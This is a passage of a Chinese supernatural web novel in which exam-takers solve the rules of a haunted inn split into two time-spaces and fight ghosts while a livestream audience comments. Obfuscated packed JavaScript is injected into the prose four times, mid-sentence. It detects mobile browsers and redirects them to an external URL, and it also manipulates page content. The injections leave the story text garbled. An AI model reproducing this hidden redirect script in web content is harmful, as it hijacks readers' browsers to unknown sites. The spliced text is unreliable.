戚灯醉摇头,声音响亮地撕下来衣袖上影响打架的繁琐衣物,一圈一圈地缠到了手上。 “你是副人格还是我是副人格?”他声音很低地笑了一声,“我还没死,这种事,用得着你去?” “戚哥……” “守着公告,只会是死路一条,触犯规则会死,困在房间里也会死。” 戚灯醉看着门旁的修补阵,眸光毫无所动。 他走到门前,拽着门把手,动作干脆地顺着方向用力一拉—— “与其坐以待毙,不如主动出击。” 门应声而开。 〈啊啊啊,跟着戚神一路追到这个考场,不得不说真的太爽了,戚神真的人狠话不多,胆子也太大了,真的牛波一!〉 〈靠,这是哪个考生啊,他一直都这么猛吗?〉 〈前面的,戚神一直都是这个风格。〉 〈我关注点好像歪了,戚神和他副人格,怎么感觉有点暧昧的样子……对不起对不起,我有罪,我忏悔。〉 〈忏悔什么,来加入我们!前面的姐妹才入坑吗?我上个副本就get到了,“官灯”超话欢迎你!〉 〈?不是,前面的是不是站反了,44怎么可能在上面?他能压戚神?〉 〈笑死了,戚肆yyds。〉 官肆看着戚灯醉的动作,咽下了还没出口的那句话。 他叹了一口气,跟着戚灯醉飞了出去。 才刚刚拐进季弥所在的那条走廊,戚灯醉就迅速回身收回了要踏出去的腿。 他打了个手势。 【有鬼。】 因为看不见官肆,他没法得到回应,自然也没法告诉官肆—— 这只鬼,不是那只黑西服怨鬼,而是一只白袍长衫、头发倒垂的女鬼,她的肚子已经被划开,各种器官从巨大的伤口里袒露出来,让人看一眼都忍不住反胃。 女鬼一下一下地挠着门,手指甲鲜血淋漓地往外翻,她摇晃着已经畸形的脑袋,黑色的长发里若隐若现地露出一双熟悉的眼。 女鬼的脚下、背后,乃至整条行走路线上都有一条明显的血迹,蜿蜒曲折,一直追溯到了…… 孟舒的房间。 这个在季弥房间外面攻击着他的,是他已经死去、变成怨鬼的女朋友。 怨鬼可以把杀死的人变成新怨鬼! 〈这泥马太逆天了,难度超标了吧?〉 〈这戚灯醉还敢肉身出去浪,真的找死啊,不想看了,还是去看楚阳那边吧。〉 〈戚神为什么老抽到这种逆天考场啊。〉 饶是戚灯醉退得再快,依旧被鬼孟舒发现了,鬼孟舒猛然回头,脸上是血液流尽后的死白,她冷冷看了一眼戚灯醉方向,以极快的速度冲了上来。 偌大的长廊里,“嗒嗒嗒”的声音此起彼伏,鬼孟舒伸出那只皮开肉绽的手,朝着戚灯醉躲避的地方狠抓上去。 戚灯醉眼神一凝,手里蓦然现出一把琉璃扇,挡住了鬼孟舒的第一下攻击。 然后,琉璃扇瞬间从他手中脱离,直直飞了出去,直冲走廊里染着焰火的烛灯。 千钧一发之际。 灯,熄灭了。 整个走廊陷入了黑暗。 鬼孟舒骤然失去视野,急得四处乱窜,她伸出爪子四处抓挠,却怎么也找不到远在天边、近在眼前的戚灯醉。 公告3:如果有怨鬼破门而入,请立刻熄灭房间里的灯,保持安静。 ——是,对的。 鬼孟舒看不见他。 黑暗里,戚灯醉靠着系统给他的目绡得以看清所有事物,他保持着微弱的呼吸频率,压着脚步离开了季弥房门前。 既然他现在能看见鬼孟舒,是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961537|161064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也能看见孟舒的死亡现场? 他沿着鬼孟舒的血迹走到孟舒的房门前,轻轻一推。 满屋血腥之味直冲鼻腔。 房门前,一摊血迹还没凝固,细细看去,还能看见有人坐在这里的痕迹,而房间内是鬼孟舒失去的各种器官。 这里是孟舒的第一死亡现场。 这是孟舒死亡的地方! 戚灯醉豁然开朗,所有疑惑都在这一刻解开了。 刚刚他们来过孟舒房间,却没有看见什么异常,而现在他再次来到这里,却看见了孟舒的死亡现场。 看不见的隐形鬼、看不见的死亡现场、看不见的鬼孟舒、完全相反的规则………… 一切的一切,都在指向一个事实。 戚灯醉握着琉璃扇,蓦然微笑道,“昼夜校园、时间更替,按照这个思路,如果我没猜错……猛鬼客栈、时空交替,我们其实是在规则相反、完全不同的两个时空。” “神魂离开身体前,我们在身体时空,适用公告,所以,熄灯可以让鬼看不见,店铺也不能随便去,公告是对的,只是只能作用在身体时空。” “神魂离开身体后,我们在神魂时空,适用规则,所以,店铺可以提供保护,修补阵也确实能修补门,只是修补的,是神魂时空的门,而不是身体时空的门。” “这就是为什么,我能听到两个怨鬼的挠门声,却只能看见一只鬼,因为在神魂时空,看不到、也摸不到身体时空的鬼。” “而声音,就是两个时空唯一连通的介质。” 〈前面那几条弹幕是预言家吧,还真的破次元了。〉 〈妈呀,这就猜出来了?那这个副本是不是快要结束了?感觉好像有点太短了吧。〉 〈不会吧,还有那个说谎者没搞出来呢,话说这个说谎者到底有啥用啊,感觉现在都还没看见他的作用在哪。〉 〈啧,观演网站直播是采集的考场里设置的飞行摄像头的画面,我们没看见的地方多了去了,谁知道说谎者是不是暗戳戳干了点啥?〉 戚灯醉沉声道:“我想,我知道孟舒的死亡原因了。” “她回到了身体里,遇到了身体时空的怨鬼,修补的却是神魂时空的门,所以抵挡不了身体时空的鬼,被身体时空的鬼杀死了。” 规则就此已经清晰了。 戚灯醉道,“神魂时空的店铺有对付神魂时空怨鬼的工具,官肆,你先去神魂时空,对付神魂鬼。” “你呢?戚哥。”官肆道,“身体时空的店铺不能去,你怎么对付身体时空的怨鬼和鬼孟舒?“ 戚灯醉道:“我得先摸清规则里那个说谎者到底是谁。” 官肆道:“说谎者是规则里的,很有可能,说谎者只能在神魂时空说谎,戚哥,你在身体时空是没有意义的。” 戚灯醉拉开门出去,说:“你说的有道理,我先回神魂时空。” 他回了房间,重新睡到床上,一阵天旋地转后,他的神魂飘了出来,再次和官肆相遇。 两人对视了一眼。 门外突然响起楚阳的声音。 16. 猛鬼客栈.5 戚灯醉透过门上的小孔,看见了门外的楚阳。 楚阳似乎正在躲避神魂鬼,楚阳疯狂地敲着门,“我的门破了,我不想死,戚灯醉,放我进去!” “再不开门,我就破坏门,让你们也活不了!” 可以,这很符合楚阳的性格。 戚灯醉没有出声,他不清楚门外的人到底是不是楚阳,即使是楚阳,他也没办法保证楚阳会不会阴他。 毕竟,如果杀了其他人就能通关考试,楚阳一定会毫不留情地杀了他。 没等楚阳离开,半小时的时间就到了,戚灯醉推开门,大摇大摆地当着楚阳的面走出来,仿入无人之境。 楚阳神情阴鹜,咬牙切齿道:“戚灯醉,你耍我呢?装死是吧?” 戚灯醉微抬下巴:“抱歉,没听到。” 楚阳:“…………” 他一口气差点没顺上来。 戚灯醉指了指头上的目绡,声音平淡,“我是残疾人士,希望谅解。” 官肆:“…………” 不多时,季弥也来了。 戚灯醉简单讲解了一下两个时空的事情,然后告诉季弥:“孟舒已经死了,而且被同化成了怨鬼,就是……来攻击你的那只鬼。” 季弥很意外地没有太大的反应,他垂着眼,说:“我知道了,谢谢你。” 戚灯醉决定趁此机会试探一下他们,看看能不能摸出真正的说谎者。 他偏头,突然出声:“楚阳,你是说谎者吧?” 楚阳脸色骤变,瞳孔一缩,“怎么可能?!你不要乱咬人!” 戚灯醉抿唇,态度散漫地说:“那你刚刚为什么要来我的房间?还打算破门而入?” 楚阳无语凝噎,“我的门破了,我不找地方,难不成等死吗?换作是你,你会不会去其他人房间?你他么这不是废话吗?” 戚灯醉点头示意,声音不紧不慢,“嗯,我乱说的。” 楚阳:“…………” 他额头青筋暴起,属实是没绷住。 戚灯醉又看向季弥,“你女朋友死了,你为什么感觉一点都不伤心?” 季弥低下头,说:“抱歉,无可奉告。” 楚阳实在是不耐烦了,他皱眉道:“你他妈能不能别这么疑神疑鬼?这个傻逼系统一直爱玩文字游戏,说不定就是为了让我们互相猜忌,这个说谎者到底是不是人也不一定,说不定鬼也能说谎呢?你他么少问这儿问那儿的行不行?” 戚灯醉思忖几秒,说:“行,走一步看一步,等会讨论时间结束,我们必须去店铺找到消灭神魂鬼的办法,身体时空还有鬼,我们必须抓紧时间。” “嗯。”季弥道,“你们去过店铺了?” 官肆点头,说:“前不久去的,店铺里面有各种道具,杀神魂鬼应该可以。” 【十分钟暂停时间已结束,游戏继续!】 戚灯醉道:“走,去店铺。” 店铺里摆满了各种道具。 〈防御阵:当门血量低于30%,产生一个3s无敌的防御阵。〉 〈万变阵:随机变成一种店铺里没有的道具,不局限于本考场。〉 〈符咒弹射器:50%几率发出符咒,控制怨鬼3s。〉 〈冰封阵:减缓怨鬼80%攻速。〉 〈断头台:怨鬼血量低于30%时,直接给予10%最大生命值的伤害。〉 购买道具所需要的货币正是他们的修为和生命值。 戚灯醉和官肆买了五个道具,修为已经见底了。 神魂鬼悠悠地朝着他们的方向飘来,在店铺周围停了下来,眼神幽暗地望着他们,却不敢前进一寸。 戚灯醉握着手里的符咒弹射器,说:“该轮到我们打鬼了,走吧,是死是活,打了才知道。” 神魂时空的鬼是那只最初攻击孟舒和戚灯醉的黑西服怨鬼,此刻他正在四处游荡,找寻目标。 似是察觉到了什么,神魂鬼倏然回头,利爪刺向戚灯醉。 戚灯醉挑了挑眉,神魂飞身而起,手里忽然幻化出一柄琉璃扇,只一瞬间便闪身离开。 他手里的琉璃扇“唰”一下展开,稳稳接住了神魂鬼的尖刃。 官肆见状,立刻召唤出骷髅白骨伞,握紧伞柄往上一丢,骷髅白骨伞脱离手中,在官肆头上转出一道残影,宛如一道巨大的屏障,朝着神魂鬼袭来。 骷髅白骨伞和神魂鬼的身体猛然相撞,摩擦出巨大的声响,楚阳和季弥刚刚赶过来,便被这声音刺激得紧捂耳朵,眉头紧蹙。 “愣着干什么?上啊。”戚灯醉冷声道。 骷髅白骨伞击打在神魂鬼身上,却没有留下任何痕迹,神魂鬼的身体连破损都没有,坚如磐石。 〈怎么回事,怎么根本打不动啊,离谱,这个神魂鬼怎么这么强?〉 〈77和44才过一场考试,武器也不算多强,打不过很正常吧,而且我记得44一直很弱,神魂状态应该也不会好到哪去。〉 〈估计得靠考场道具才行了。〉 〈不对啊,我记得店铺里好像没有攻击型武器吧,倒是有个“断头台”,但那得怨鬼血量低于30%时才能用,现在连神魂鬼的皮都没削掉,打个毛啊。〉 〈靠,这场考试这么难吗?我收回说系统给官肆开挂的言论,这系统是把他俩往死里整啊。〉 〈人不行别怪路不平,这个副本已经很优待官肆和戚灯醉了好不好?要不是官肆,戚灯醉怎么可能这么快就知道双重时空的事情?要知道,上一批来这个考场的,整整挨到快团灭了才摸清楚时空的事情。〉 〈不是,怎么又吵起来了?安静点看直播行不?〉 观演网站里吵得极其激烈,但“猛鬼客栈”的考场内,却只剩下一阵打斗声。 楚阳的武器是一把长剑,他抬手往前一刺,力道用了十成十,可长剑被抵在了神魂鬼的身体外面,根本无法扎进去分毫。 季弥同样召唤出武器,他的武器貌似是一个符咒,看不出具体用处,但也明显无法攻击到神魂鬼。 眼见情况不好,戚灯醉迅速后撤,放出了第一个道具。 〈符咒弹射器:50%几率发出符咒,控制怨鬼3s。〉 符咒装载进弹射器,“咻咻”两声射到神魂鬼身上,牢牢贴在他的骷髅身躯表面,神魂鬼瞬间被困在原地,无法动弹,任凭他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961538|161064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么抓挠都没办法取下符咒。 戚灯醉手指发麻,思绪飞速在脑海里旋转。 他们的武器没法攻击神魂鬼,店铺里又没有攻击神魂鬼的道具,到底该怎么杀死神魂鬼? 系统可能给他们一个必死的局吗? 3s时间短得可怜,一眨眼就过去了,神魂鬼脱离束缚,再次扑上来。 他的身体金刚不坏,刀枪不入,力道还极其大,一爪下来,眼见要扎到了官肆身上。 戚灯醉向前一扑,一个翻滚赶到官肆面前,硬生生接住了这一爪。 利爪穿透戚灯醉的神魂,几乎要将戚灯醉的魂魄打散了,待戚灯醉的神魂重新聚拢时,已经从浓重的黑色迅速褪成浅灰色。 “戚哥!!!” 官肆僵在原地,如当头浇上一盆冷水,声音嘶哑到几乎要破音。 戚灯醉闷哼一声,五脏六腑仿佛都错了位,他用力一拂,推开上前的官肆,声音微微发抖:“我没事,离我远点,小心一点。” 神魂鬼再次给上一爪,戚灯醉用琉璃扇抵挡在前,随着一声清脆的响声,琉璃扇裂开道道纹路,就这么碎了。 〈啥玩意儿?碎了?真的假的。〉 〈我靠,这不是本命武器吗?这他妈怎么还能碎掉的?〉 〈草,神魂鬼又攻击上来了,戚神小心啊啊啊啊。〉 神魂鬼根本无法对抗,距离他们再次集中讨论,还有整整十分钟,必须要扛十分钟,他们才能短暂获得安全。 整整十分钟。 简直比登天还难。 戚灯醉的本命武器琉璃扇已经碎掉了,他已经没有任何自卫的工具了。 ——戚灯醉根本不是神魂鬼的对手。 官肆心如刀绞,眼里染上绝望,恨不得扑上来用身体替戚灯醉挡下这致命一击。 神魂鬼似乎也知道戚灯醉没有防御手段了,攻击都慢了几分,带着些玩弄宠物的恶趣味,仿佛胜券在握。 它抬起手,慢悠悠地向下一抓,似乎已经看见了戚灯醉的死状。 〈完了完了啊啊啊啊啊,戚神要死了。〉 〈草啊,我不敢看了,谁能替我汇报一下接下来的进程,我不想看见戚神死呜呜呜呜。〉 观演网站里,已经有人忍不住退出网站,去灵异学院的论坛里发帖子哀嚎了。 还没等他哀嚎两秒,下方的提示图标疯狂闪烁,一条条回复冲进他的视线。 〈别他喵的呜了!戚灯醉还没死!你叫魂呢?〉 〈赶紧回直播间,戚神要反攻了!〉 〈快啊,再不来就要错过了!别怪哥们没提醒你。〉 神魂鬼向下攻击的一瞬间,时间仿佛变慢了一般,它的动作速度骤然减缓,手爪无力似的一点一点地往下落。 〈冰封阵:减缓怨鬼80%攻速。〉 戚灯醉喘了一口气,又掏出了一个道具,他的手心里迸发出一道光芒,蓦然照亮了整个走廊。 〈万变阵:随机变成一种店铺里没有的道具,不局限于本考场。〉 戚灯醉抬起头,冷笑一声,眸光狠厉。 “你的回合结束了,该轮到我了。” 17. 猛鬼客栈.6 手中的万变阵在手心里消失,转而变出来了一把武器。 〈是什么是什么?让我康康。〉 〈这应该是副本里唯一的武器了,一定很强,草,好激动。〉 〈戚神反攻,打败神魂鬼,冲啊!!〉 光芒逐渐消散,戚灯醉的手心里什么都没有。 而他的身旁,出现了—— 一架意大利炮。 戚灯醉:“…………” 官肆:“…………” 一旁观望的楚阳和季弥:“…………” 不是,也没人说,店铺里没有的、不局限于本考场的道具,是他娘的意大利炮啊! 这一刻,不管是考场内,还是考场外,亦或是在背地里悄悄观望的谢不语和莲灼,都沉默了。 一个古代考场,一个刀枪不入的黑西服骷髅神魂鬼,这种情况下,居然开出一把意大利炮。 这泥马简直是降维打击啊! 直接从农业社会进入了工业社会。 太离谱了。 早该想到的,神魂鬼都能在古代考场里穿现代黑西服了,戚灯醉开出什么武器都不奇怪了。 直播间的网友好不容易说服了自己接受这离谱的剧情,而神魂鬼还愣在原地没反应过来。 它瞳孔地震,简直没摸清楚这个考场的头绪。 戚灯醉面上沉郁,不管三七二十一,上来就是两炮。 神魂鬼身体比脑子反应还快,顿时往回跑,妄图躲开炮弹的射程。 戚灯醉冷着脸,发射出一张符咒。 〈符咒弹射器:50%几率发出符咒,控制怨鬼3s。〉 【恭喜你,判定成功,符咒已发射。】 神魂鬼被符咒控制在原地,两个炮弹稳稳地吃下了。 “砰——砰——” 灰尘四处弥漫,整个考场里乌烟瘴气,快要被黑雾淹没了。 神魂鬼受到了攻击,头上蹦出一个血条。 【黑西服怨鬼,血量:70%】 戚灯醉不等它反应过来,又是一炮。 【黑西服怨鬼,血量:40%】 【黑西服怨鬼,血量:10%】 不知道真正的意大利炮能装多少子弹,但戚灯醉开出的这架大炮里,目前只有一发子弹了,明显是系统已经算好的可以消灭神魂鬼的炮弹数量。 最后一炮,就能彻底消灭神魂鬼。 然而,出人意料的是,戚灯醉并没有用掉最后一发炮弹,而是拿出来了一个道具。 〈断头台:怨鬼血量低于30%时,直接给予10%最大生命值的伤害。〉 10%,刚好能够杀掉神魂鬼! 神魂鬼怒吼一声,眼睁睁地看着戚灯醉手里迷你大小的断头台登时变大了好几倍,飞到他的头上,一把大砍刀凌空而起。 “咔嚓”一声。 砍掉了他的头。 神魂鬼顿时烟消云散。 一切结束了。 〈槽点太多了,一时间不知道从哪个地方开始说,不是,这意大利炮是真他喵的离谱,到底是哪个天才想出来的?〉 〈想过任何武器,唯独没想到是个大炮。〉 〈戚神的道具好多啊天,用完一个还有一个,神魂鬼直接□□懵了。〉 〈诶,暂停时间是不是要到了。〉 戚灯醉喘息着,收回还没用完的意大利炮。 “戚灯醉!” 戚灯醉闻声转身,与此同时,半个小时终于到了。 这只神魂鬼几乎是全靠戚灯醉和官肆杀的,楚阳和季弥两人基本上在观战,没帮到什么忙。 楚阳尴尬地挥了挥手,道:“没想到你这么强,你身上还有多少道具?” 戚灯醉嗤笑一声,说:“无可奉告。” 季弥问他:“你是不是还要去身体时空杀掉身体鬼?” “自然。”戚灯醉没在和他们多话,没在十分钟的暂停时间里和他们交流,反而回了自己的房间。 考试进行到这个地步,楚阳这个独行侠和“阴阳师”是靠不住了,季弥至今还能力未知,他们能靠的,只有自己。 戚灯醉回了自己的身体,他的神魂受损严重,虽然不致死,但是也极大程度上影响了他的身体操控能力,他必须趁着那个说谎者没有动静,赶紧结束考试。 一旦说谎者反应过来他现在处于虚弱期,不仅他危险,官肆也会危险。 戚灯醉躺在床上,静静地修养了片刻。 “戚哥。” 官肆在他头上轻轻地喊了一声。 戚灯醉看不见他,却依旧在听到官肆声音的一瞬间就抬起了头。 “什么?” 官肆飘到他的额前,说:“抬头。” 戚灯醉不知道,他看不见的时空里,官肆很轻、很轻地,触碰了一下他的额头。 ——蜻蜓点水一般,甚至都没有触感。 他向上抬头,姿态高傲,官肆向下低头,心甘情愿。 隔着一个时空,官肆吻了一下戚灯醉。 “没什么。”像糖融进了水里一般,官肆心里一丝一丝地溢出喜悦,他声音轻快地说,“我只是突然有点高兴,可能是消灭了神魂鬼,轻松了不少。” 戚灯醉道:“压力太大了?累了就回意识海里休息一会儿,我尽量在两个休息时间内结束。” 官肆摇摇头,说:“我不累,戚哥,接下来你想怎么办?” “接下来?”戚灯醉意念一动,说,“等鱼自己上钩就好了。” - 季弥回到了身体时空里,孟舒被杀死后,就变成了最低级的怨鬼,除了身体素质很强以外,并没有自己的意识,因此,季弥很容易就找到了四处闲逛的鬼孟舒。 神魂鬼明显就是更高一阶的鬼,会有自己的意识和想法,察觉到对手状态不好后,甚至还会轻敌。 季弥口中念念有词,似乎用出了什么口诀,他的手指变化着,构造出一个阵法。 阵法飞入了孟舒的身上,刹那间,鬼孟舒身躯一阵,不再动作了。 季弥面色苍白如纸,构造阵法俨然让他失去了不少能量,他并不在意,反而微笑着看着鬼孟舒,说:“小舒,你还好吗?” 鬼孟舒僵硬地点着头,用已经破损的声带回应道:“我、很、好,季、弥。“ 季弥的身旁,静静地躺着一个已经破损的摄像头。 如果有人看见他和孟舒交流的这一幕,就能轻而易举地认出他的身份。 他是灵异学院著名的战术师——驭鬼术师。 他摸了摸孟舒的头,说:“小舒,跟我走吧,不要到处乱跑,会有人伤害你的。” 鬼孟舒一顿一顿地点头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而打了楚阳一个措手不及的是,戚灯醉并没有中招,他的面前,一个白色的护盾接住了镰刀的攻击。 是官肆的技能。 “你们……”楚阳不可置信,“你怎么会……” “怎么会防备你,是么?” 戚灯醉说:“你恐怕不是第一次杀我了吧?让我想想,你第一次想杀我,是不是在刚刚十分钟休息时间开始的时候?” “你喊我的名字,是想转移我的注意力,趁机杀我,却没想到刚好赶上了休息时间,只能无功而返,对不对?” “其实,这个地方根本没有脚步声,你只是想骗我过来,杀了我。” “你,是那个说谎者么?” 戚灯醉制服住楚阳,盯着他的眼睛,问他。 楚阳神情愕然,转而开始笑,他的声音沉沉的,说:“你知道的真多,不得不说,你是我见过的,在这个考场里进度最快的人。” 他猛然间挣脱了戚灯醉的控制,扛起锋利的死神镰刀,眸色阴鹜暗沉,“不过,很遗憾,戚灯醉。” “你离不开这个考场了。” 18. 猛鬼客栈.7 〈楚阳不是说谎者吗,他为什么要杀戚灯醉?说谎者还需要杀人吗?〉 〈说不定和“昼夜校园”的机制一样,最后都是大混战,剩下的就是赢家。〉 〈不对啊,楚阳的武器不是剑吗?怎么还有镰刀?〉 镰刀划破长空,在寂静的走廊里响起一道清亮的声音。 官肆再次行动,召唤出了阵法。 然而,白色屏障在触碰到死神镰刀的下一刻,就碎成了光点。 戚灯醉登时就明白情况不妙。 楚阳的这个战斗力完全不正常,根本不是他应该有的实力。 时间紧迫,戚灯醉没时间思考楚阳的异常,只能以最快的速度回到房间关门。 门虽然鸡肋,但关键时候至少还能挡一下,如果门挡不住楚阳,他之前也不会让戚灯醉开门。 戚灯醉回忆着最开始的公告。 【如果有人在破坏门,你可以想办法加固门,抵挡破坏。】 修补阵法只能作用与神魂时空,那身体时空里的加固门,到底是如何加固? 总不可能靠身体硬堵吧? 大门的破损程度随着楚阳的攻击一点一点加深,很快,血量就快见底。 官肆用出了防御阵。 〈防御阵:当门血量低于30%,产生一个3s无敌的防御阵。〉 就在这3s之中,季弥来了。 他抬手结阵,高声道:“官肆,用道具!” 戚灯醉的道具已经在神魂时空击杀黑西服怨鬼的时候用得差不多了,如今场上,道具最充足的只有官肆和季弥了。 驭鬼阵飞入楚阳身体里,楚阳并没有像鬼孟舒一样被季弥控制住一言一行,但也在短暂时间内无法攻击了。 戚灯醉没理解他的意思。 道具来自神魂时空的店铺,就算可以用在身体时空的怨鬼身上,可楚阳根本就不是鬼,怎么能被道具控制? 电光火石之间,官肆忽然想明白了。 “楚阳是鬼,他是身体世界的身体鬼!” 〈啊?楚阳怎么可能是鬼呢,每个副本一开头都得取考生证,楚阳的考生证没有问题啊。〉 〈对啊,而且楚阳算是比较有名的灵异学院新生了,认识他的人也不少。〉 官肆道:“他被身体鬼取代了。” 广播响起。 【恭喜考生戚灯醉、官肆、季弥解锁最终考题作答资格。】 【请考生击败怨鬼,找到题眼,破解最终考题,通关考试。】 他们一直以来的思路都很闭塞,因为他们很多时候都处于神魂时空,身体鬼的存在感并不高,再加上,身体鬼杀死了孟舒,更加让他们坚信了身体世界有一只单独的身体鬼。 而那条关于“说谎者”的规则,反而更加容易混淆视听,让他们把对考生的注意力都放在说谎者身上,从而忽视——身体鬼可以杀了考生,取而代之的可能。 “楚阳的武器是剑,身体鬼的武器是镰刀,现在的楚阳,是身体鬼!” 如果他没猜错,楚阳被取代的时间,大致就是他说自己的门破了,要进戚灯醉房间里来的时间。 他的门破了,但他没有变成怨鬼,而是和身体鬼融合,被身体鬼取代了。 客栈里的确有说谎者,可这个说谎者楚阳,根本还没来得及说谎! 〈冰封阵:减缓怨鬼80%攻速。〉 季弥的阵法时间已经快结束了,官肆迅速衔接上了冰封阵。 季弥再次甩出一张符,延长了阵法时间,他道:“戚灯醉,赶紧想办法,撑不了多久了。” “你们先开一下万变阵。”戚灯醉道,“有什么先用什么。” 〈万变阵:随机变成一种店铺里没有的道具,不局限于本考场。〉 似乎是开出意大利炮用光了戚灯醉的所有运气,官肆和季弥两人双双开出一个“断头台”道具。 〈断头台:怨鬼血量低于30%时,直接给予10%最大生命值的伤害。〉 哦豁,完蛋。 戚灯醉闭了闭眼,着实没想到他俩能这么脸黑,断头台只有怨鬼血量低于30%才能用,而现在楚阳还是满血,等于废弃道具。 眼见着楚阳要重新开始攻击了,季弥忽然想到什么,说:“戚灯醉,身体时空的店铺好像不对劲,我刚刚去了一下,里面似乎有东西!” 戚灯醉面色一凝,说:“明白了,你还有道具吗?” “有!”季弥道,“我还有3个符咒弹射器。” 他是“驭鬼术师”,对于符咒什么的天然就有好感,进店铺后买的基本全是符咒弹射器。 官肆道:“我也有2个。” 季弥和官肆加起来,一共有5个符咒弹射器,可以撑15s。 够了。 戚灯醉道:“用符咒!” 5个符咒同时使用,戚灯醉趁着时间,迅速开门,撤出房间,三人朝着店铺飞奔而去,画面和《逃离疯人院》最后的逃脱场面极其相似。 赶到店铺面前时,戚灯醉骤然顿了一下,他突然不知道该不该信任季弥。 楚阳是鬼,季弥呢? 他为什么明知公告里说不能进店铺,还要靠近店铺呢? 后面的楚阳已经快要追上来了。 没有时间了。 进店铺、不进店铺,这是一道二选一的必答题,他必须要做出选择。 对,则生,错,则死。 心脏疯狂跳跃着,戚灯醉额间溢出冷汗,在楚阳赶来前,选择了踏进店铺。 【公告5:客栈里有一个店铺,如果你进入了,请马上离开,不要购买任何道具,如果你购买了道具,我们将无法继续向你提供任何保护措施。】 他们打破了公告5的规则。 身体时空的店铺和神魂时空的店铺完全不一样,上面依然有道具,描述却很诡异。 〈AAA:怨鬼很喜欢这个阵法,这会让他觉得充满力量!〉 〈BBB:你会获得一把被诅咒的武器,武器很强大,但他会吞噬你的灵魂哦~〉 〈CCC:50%几率可以摆脱控制,任何控制你的人,都会付出代价喔~〉 〈DDD:未知阵法,但相信你会喜欢的~〉 弹幕沉不住气了。 〈靠啊,这是什么鬼描述。〉 〈这到底哪个能用啊,感觉全是废物道具啊。〉 楚阳看见了他们进了店铺,顿时发狂,他挥舞着镰刀,一刀一刀往下砍。 戚灯醉侧身躲过,试图在混乱的思绪里理清楚这些道具的作用。 楚阳的攻击速度极快,饶是戚灯醉恢复到巅峰状态,躲避起来也很吃力,更何况他已经受过重伤,身体状态大不如前。 “官肆,公告和规则一定有漏洞,你想想看。” 戚灯醉分身乏术,身体鬼攻击不了神魂时空的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961540|161064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官肆,官肆目前相对来说安全,找漏洞的事情,只能交给他。 大部分公告和规则都已经被试探出来了,唯一还没有确定的是………… 规则6和后面没有说完的规则7。 【规则6:每隔一段时间,怨鬼就会增强,怨鬼可能会离开,但请不要掉以轻心。】 怨鬼会增强,为什么怨鬼会增强? 从最开始,这就是戚灯醉的疑惑,怨鬼明明可以杀孟舒,却逃跑了。 他看着店铺里的道具。 怨鬼很喜欢…… 被诅咒的武器…… 难道,身体时空的店铺,其实是怨鬼的道具店铺?! 这一刻,官肆前所未有地觉得思路通畅,一切不合理的地方都开始串联成了一条线。 怨鬼会离开、店铺里有道具、怨鬼会变强、考生不能购买身体时空的道具…… 他明白了! 官肆道:“戚哥,毁掉道具!那是怨鬼的增强道具。” 听到官肆的声音,楚阳骤然开始慌乱。 同一时刻,广播响起: 【怨鬼陷入了狂暴!】 【请考生注意,怨鬼狂暴期间,自身防御力、攻击力和攻速都将获得巨大提升,狂暴时间共计3分钟。】 “操。” 饶是戚灯醉都没忍住骂了一句,怨鬼居然还能开狂暴。 楚阳的战斗力暴涨,死神镰刀快如黑影,往戚灯醉身上砍。 官肆重新召唤出骷髅白骨伞,用伞身替戚灯醉抵挡攻击。 骷髅白骨伞比琉璃扇强了很多,但官肆并不是主攻位,他能做的,只有抵挡,而无法反攻。 局势骤然逆转,他们在距离胜利一步之遥的时候,被阴了一把。 怨鬼会狂暴,这恐怕就是没有说完的规则7。 官肆使用了除“断头台”以外的最后一个道具,冰封阵。 〈冰封阵:减缓怨鬼80%攻速。〉 楚阳的速度慢了一点,可有了狂暴加成,他的速度也仅仅只是恢复到了狂暴前而已,依然快得惊人。 他们几乎要走投无路了。 镰刀擦过戚灯醉的右手臂,狠狠削下来一块肉,戚灯醉堪堪躲过一击,帅气冷淡的脸上没有一丝血色。 他一边躲,一边取下缠着手的黑色布条,迅速包扎住右手止血,他的神经已经被痛得麻木了,呼吸粗重得透出明显的喘气声。 他声音虚弱道:“官肆,进我身体!” 官肆没有问他想做什么,即使他知道,以戚灯醉目前的身体状况,只要他一回到戚灯醉的身体,就会可能会倒地不起。 可他依旧在这一刻选择相信了戚灯醉。 因为他知道,戚灯醉曾经用命保过他。 ——哪怕戚灯醉已经不记得了。 官肆道:“好。” 